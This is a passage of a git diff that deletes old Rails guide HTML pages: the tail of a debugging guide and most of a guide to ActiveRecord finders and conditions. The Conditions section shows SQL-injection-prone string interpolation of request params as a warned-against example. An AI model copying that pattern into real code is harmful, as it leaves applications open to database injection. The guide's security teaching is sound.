-<pre><tt>RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server</tt></pre>
-</div></div>
-<div class="para"><p>Make sure to run a couple hundred requests to get better data samples, then press <tt>CTRL-C</tt>. The server will stop and Bleak House will produce a dumpfile in <tt>/tmp</tt>:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>** BleakHouse: working...
-** BleakHouse: complete
-** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.</tt></pre>
-</div></div>
-<div class="para"><p>To analyze it, just run the listed command. The top 20 leakiest lines will be listed:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>  191691 total objects
-  Final heap size 191691 filled, 220961 free
-  Displaying top 20 most common line/class pairs
-  89513 __null__:__null__:__node__
-  41438 __null__:__null__:String
-  2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
-  1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
-  1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
-   951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
-   935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
-   834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
-  ...</tt></pre>
-</div></div>
-<div class="para"><p>This way you can find where your application is leaking memory and fix it.</p></div>
-<div class="para"><p>If <a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.</p></div>
-<h3 id="_valgrind">4.2. Valgrind</h3>
-<div class="para"><p><a href="http://valgrind.org/">Valgrind</a> is a Linux-only application for detecting C-based memory leaks and race conditions.</p></div>
-<div class="para"><p>There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls <tt>malloc()</tt> but is doesn't properly call <tt>free()</tt>, this memory won't be available until the app terminates.</p></div>
-<div class="para"><p>For further information on how to install Valgrind and use with Ruby, refer to <a href="http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/">Valgrind and Ruby</a> by Evan Weaver.</p></div>
-</div>
-<h2 id="_plugins_for_debugging">5. Plugins for Debugging</h2>
-<div class="sectionbody">
-<div class="para"><p>There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://github.com/drnic/rails-footnotes/tree/master">Footnotes</a>: Every Rails page has footnotes that give request information and link back to your source via TextMate.
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/ntalbott/query_trace/tree/master">Query Trace</a>: Adds query origin tracing to your logs.
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/dan-manges/query_stats/tree/master">Query Stats</a>: A Rails plugin to track database queries.
-</p>
-</li>
-<li>
-<p>
-<a href="http://code.google.com/p/query-reviewer/">Query Reviewer</a>: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/rails/exception_notification/tree/master">Exception Notifier</a>: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/defunkt/exception_logger/tree/master">Exception Logger</a>: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_references">6. References</h2>
-<div class="sectionbody">
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://www.datanoise.com/ruby-debug">ruby-debug Homepage</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.sitepoint.com/article/debug-rails-app-ruby-debug/">Article: Debugging a Rails application with ruby-debug</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/">ruby-debug Basics screencast</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://railscasts.com/episodes/54-debugging-with-ruby-debug">Ryan Bate's ruby-debug screencast</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://railscasts.com/episodes/24-the-stack-trace">Ryan Bate's stack trace screencast</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://railscasts.com/episodes/56-the-logger">Ryan Bate's logger screencast</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://bashdb.sourceforge.net/ruby-debug.html">Debugging with ruby-debug</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://cheat.errtheblog.com/s/rdebug/">ruby-debug cheat sheet</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging">Ruby on Rails Wiki: How to Configure Logging</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html">Bleak House Documentation</a>
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">7. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by <a href="../authors.html#miloops">Emilio Tagua</a>
-</p>
-</li>
-<li>
-<p>
-October 19, 2008: Copy editing pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-September 16, 2008: initial version by <a href="../authors.html#miloops">Emilio Tagua</a>
-</p>
-</li>
-</ul></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/finders.html b/vendor/rails/railties/doc/guides/html/finders.html
deleted file mode 100644
index 02c1654a..00000000
--- a/vendor/rails/railties/doc/guides/html/finders.html
+++ /dev/null
@@ -1,1090 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Rails Finders</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_the_sample_models">The Sample Models</a>
-					</li>
-					<li>
-					<a href="#_database_agnostic">Database Agnostic</a>
-					</li>
-					<li>
-					<a href="#_ids_first_last_and_all">IDs, First, Last and All</a>
-					</li>
-					<li>
-					<a href="#_conditions">Conditions</a>
-						<ul>
-						
-							<li><a href="#_pure_string_conditions">Pure String Conditions</a></li>
-						
-							<li><a href="#_array_conditions">Array Conditions</a></li>
-						
-							<li><a href="#_hash_conditions">Hash Conditions</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_ordering">Ordering</a>
-					</li>
-					<li>
-					<a href="#_selecting_certain_fields">Selecting Certain Fields</a>
-					</li>
-					<li>
-					<a href="#_limit_amp_offset">Limit &amp; Offset</a>
-					</li>
-					<li>
-					<a href="#_group">Group</a>
-					</li>
-					<li>
-					<a href="#_read_only">Read Only</a>
-					</li>
-					<li>
-					<a href="#_lock">Lock</a>
-					</li>
-					<li>
-					<a href="#_making_it_all_work_together">Making It All Work Together</a>
-					</li>
-					<li>
-					<a href="#_eager_loading">Eager Loading</a>
-					</li>
-					<li>
-					<a href="#_dynamic_finders">Dynamic finders</a>
-					</li>
-					<li>
-					<a href="#_finding_by_sql">Finding By SQL</a>
-					</li>
-					<li>
-					<a href="#_tt_select_all_tt"><tt>select_all</tt></a>
-					</li>
-					<li>
-					<a href="#_working_with_associations">Working with Associations</a>
-					</li>
-					<li>
-					<a href="#_named_scopes">Named Scopes</a>
-						<ul>
-						
-							<li><a href="#_simple_named_scopes">Simple Named Scopes</a></li>
-						
-							<li><a href="#_combining_named_scopes">Combining Named Scopes</a></li>
-						
-							<li><a href="#_runtime_evaluation_of_named_scope_conditions">Runtime Evaluation of Named Scope Conditions</a></li>
-						
-							<li><a href="#_named_scopes_with_multiple_models">Named Scopes with Multiple Models</a></li>
-						
-							<li><a href="#_arguments_to_named_scopes">Arguments to Named Scopes</a></li>
-						
-							<li><a href="#_anonymous_scopes">Anonymous Scopes</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_existence_of_objects">Existence of Objects</a>
-					</li>
-					<li>
-					<a href="#_calculations">Calculations</a>
-						<ul>
-						
-							<li><a href="#_count">Count</a></li>
-						
-							<li><a href="#_average">Average</a></li>
-						
-							<li><a href="#_minimum">Minimum</a></li>
-						
-							<li><a href="#_maximum">Maximum</a></li>
-						
-							<li><a href="#_sum">Sum</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_credits">Credits</a>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Rails Finders</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This guide covers the <tt>find</tt> method defined in <tt>ActiveRecord::Base</tt>, as well as other ways of finding particular instances of your models. By using this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Find records using a variety of methods and conditions
-</p>
-</li>
-<li>
-<p>
-Specify the order, retrieved attributes, grouping, and other properties of the found records
-</p>
-</li>
-<li>
-<p>
-Use eager loading to cut down on the number of database queries in your application
-</p>
-</li>
-<li>
-<p>
-Use dynamic finders
-</p>
-</li>
-<li>
-<p>
-Create named scopes to add custom finding behavior to your models
-</p>
-</li>
-<li>
-<p>
-Check for the existence of particular records
-</p>
-</li>
-<li>
-<p>
-Perform aggregate calculations on Active Record models
-</p>
-</li>
-</ul></div>
-<div class="para"><p>If you're used to using raw SQL to find database records, you'll find that there are generally better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.</p></div>
-</div>
-</div>
-<h2 id="_the_sample_models">1. The Sample Models</h2>
-<div class="sectionbody">
-<div class="para"><p>This guide demonstrates finding using the following models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>address
-  has_one <span style="color: #990000">:</span>mailing_address
-  has_many <span style="color: #990000">:</span>orders
-  has_and_belongs_to_many <span style="color: #990000">:</span>roles
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Address <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>client
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MailingAddress <span style="color: #990000">&lt;</span> Address
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>client<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Role <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>clients
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_database_agnostic">2. Database Agnostic</h2>
-<div class="sectionbody">
-<div class="para"><p>Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.</p></div>
-</div>
-<h2 id="_ids_first_last_and_all">3. IDs, First, Last and All</h2>
-<div class="sectionbody">
-<div class="para"><p><tt>ActiveRecord::Base</tt> has methods defined on it to make interacting with your database and the tables within it much, much easier. For finding records, the key method is <tt>find</tt>. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type <tt>Client.find(1)</tt> which would execute this query on your database:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(+</span>clients<span style="color: #990000">+.+</span>id<span style="color: #990000">+</span> <span style="color: #990000">=</span> <span style="color: #993399">1</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Because this is a standard table created from a migration in Rail, the primary key is defaulted to <em>id</em>. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.</td>
-</tr></table>
-</div>
-<div class="para"><p>If you wanted to find clients with id 1 or 2, you call <tt>Client.find([1,2])</tt> or <tt>Client.find(1,2)</tt> and then this will be executed as:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(+</span>clients<span style="color: #990000">+.+</span>id<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">))</span>
-</tt></pre></div></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&gt;&gt; Client.find(1,2)
-=&gt; [#&lt;Client id: 1, name: =&gt; "Ryan", locked: false, orders_count: 2,
-  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"&gt;,
-  #&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
-  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;]</tt></pre>
-</div></div>
-<div class="para"><p>Note that if you pass in a list of numbers that the result will be returned as an array, not as a single <tt>Client</tt> object.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If <tt>find(id)</tt> or <tt>find([id1, id2])</tt> fails to find any records, it will raise a <tt>RecordNotFound</tt> exception.</td>
-</tr></table>
-</div>
-<div class="para"><p>If you wanted to find the first client you would simply type <tt>Client.first</tt> and that would find the first client created in your clients table:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&gt;&gt; Client.first
-=&gt; #&lt;Client id: 1, name: =&gt; "Ryan", locked: false, orders_count: 2,
-  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"&gt;</tt></pre>
-</div></div>
-<div class="para"><p>If you were running script/server you might see the following output:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
-</tt></pre></div></div>
-<div class="para"><p>Indicating the query that Rails has performed on your database.</p></div>
-<div class="para"><p>To find the last client you would simply type <tt>Client.find(:last)</tt> and that would find the last client created in your clients table:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&gt;&gt; Client.find(:last)
-=&gt; #&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
-  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;</tt></pre>
-</div></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">ORDER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> clients<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">DESC</span></span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
-</tt></pre></div></div>
-<div class="para"><p>To find all the clients you would simply type <tt>Client.all</tt> and that would find all the clients in your clients table:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&gt;&gt; Client.all
-=&gt; [#&lt;Client id: 1, name: =&gt; "Ryan", locked: false, orders_count: 2,
-  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"&gt;,
-  #&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
-  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;]</tt></pre>
-</div></div>
-<div class="para"><p>As alternatives to calling <tt>Client.first</tt>, <tt>Client.last</tt>, and <tt>Client.all</tt>, you can use the class methods <tt>Client.first</tt>, <tt>Client.last</tt>, and <tt>Client.all</tt> instead. <tt>Client.first</tt>, <tt>Client.last</tt> and <tt>Client.all</tt> just call their longer counterparts: <tt>Client.find(:first)</tt>, <tt>Client.find(:last)</tt> and <tt>Client.find(:all)</tt> respectively.</p></div>
-<div class="para"><p>Be aware that <tt>Client.first</tt>/<tt>Client.find(:first)</tt> and <tt>Client.last</tt>/<tt>Client.find(:last)</tt> will both return a single object, where as <tt>Client.all</tt>/<tt>Client.find(:all)</tt> will return an array of Client objects, just as passing in an array of ids to find will do also.</p></div>
-</div>
-<h2 id="_conditions">4. Conditions</h2>
-<div class="sectionbody">
-<div class="para"><p>The <tt>find</tt> method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.</p></div>
-<h3 id="_pure_string_conditions">4.1. Pure String Conditions</h3>
-<div class="para"><p>If you'd like to add conditions to your find, you could just specify them in there, just like <tt>Client.first(:conditions &#8658; "orders_count = <em>2</em>")</tt>. This will find all clients where the <tt>orders_count</tt> field's value is 2.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, <tt>Client.first(:conditions &#8658; "name LIKE <em>%#{params[:name]}%</em>")</tt> is not safe. See the next section for the preferred way to handle conditions using an array.</td>
-</tr></table>
-</div>
-<h3 id="_array_conditions">4.2. Array Conditions</h3>
-<div class="para"><p>Now what if that number could vary, say as a parameter from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like <tt>Client.first(:conditions &#8658; ["orders_count = ?", params[:orders]])</tt>. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like <tt>Client.first(:conditions &#8658; ["orders_count = ? AND locked = ?", params[:orders], false])</tt>. In this example, the first question mark will be replaced with the value in params orders and the second will be replaced with true and this will find the first record in the table that has <em>2</em> as its value for the orders_count field and <em>false</em> for its locked field.</p></div>
-<div class="para"><p>The reason for doing code like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">+</span>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"orders_count = ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>orders<span style="color: #990000">]])+</span>
-</tt></pre></div></div>
-<div class="para"><p>instead of:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>+Client.first(:conditions =&gt; "orders_count = #{params[:orders]}")+</tt></pre>
-</div></div>
-<div class="para"><p>is because of parameter safety. Putting the variable directly into the conditions string will pass the variable to the database <strong>as-is</strong>. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your parameters directly inside the conditions string.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more information on the dangers of SQL injection, see the <a href="../security.html#_sql_injection">Ruby on Rails Security Guide</a>.</td>
-</tr></table>
-</div>
-<div class="para"><p>If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at IN (?)"</span><span style="color: #990000">,</span>
-  <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)])</span>
-</tt></pre></div></div>
-<div class="para"><p>This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>users<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>created_at <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span>
-  <span style="color: #990000">(</span><span style="color: #FF0000">'2007-12-31'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-01'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-02'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-03'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-04'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-05'</span><span style="color: #990000">,</span>
-  <span style="color: #FF0000">'2008-01-06'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-07'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-08'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-09'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-10'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-11'</span><span style="color: #990000">,</span>
-  <span style="color: #FF0000">'2008-01-12'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-13'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-14'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-15'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-16'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-17'</span><span style="color: #990000">,</span>
-  <span style="color: #FF0000">'2008-01-18'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-19'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-20'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-21'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-22'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-23'</span><span style="color: #990000">,...</span>
-  ‘<span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">15</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">16</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">17</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">18</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">19</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">20</span><span style="color: #FF0000">',</span>
